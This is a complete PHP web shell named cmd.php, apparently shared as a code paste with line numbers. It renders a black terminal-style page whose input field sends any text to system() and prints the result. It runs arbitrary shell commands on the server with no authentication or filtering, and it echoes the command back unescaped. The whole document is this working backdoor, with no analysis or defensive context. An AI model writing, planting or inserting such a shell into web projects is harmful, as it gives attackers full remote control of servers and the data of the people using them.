1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
<html>
<head>
</head>
<body style='background-color:black;color:white' onload="document.getElementById('inp').focus()">
<div style='height:98%;width:100%'>
<?php
if(isset($_REQUEST['cmd']))
{
$cmd = $_REQUEST['cmd'];
ob_start();
system($cmd. ' 2>&1', $returnStatus);
$content = ob_get_contents();
ob_end_clean();
echo '<p style="color:red">' . $cmd . ' : ';
echo $returnStatus ? "ERREUR !": "OK !";
echo "</p>";
echo nl2br($content);
}
?>
</div>
<div style='height:2%;width:100%; border-top : 1px solid grey'>
<form action='cmd.php' method='post'>
<?php echo getcwd();?> > <input type='text' id='inp' name='cmd' style='width:80%; background-color:black;color:white;'/>
<input type='submit' style='display:none;' value='Ok'/>
</form>
</div>
</body> |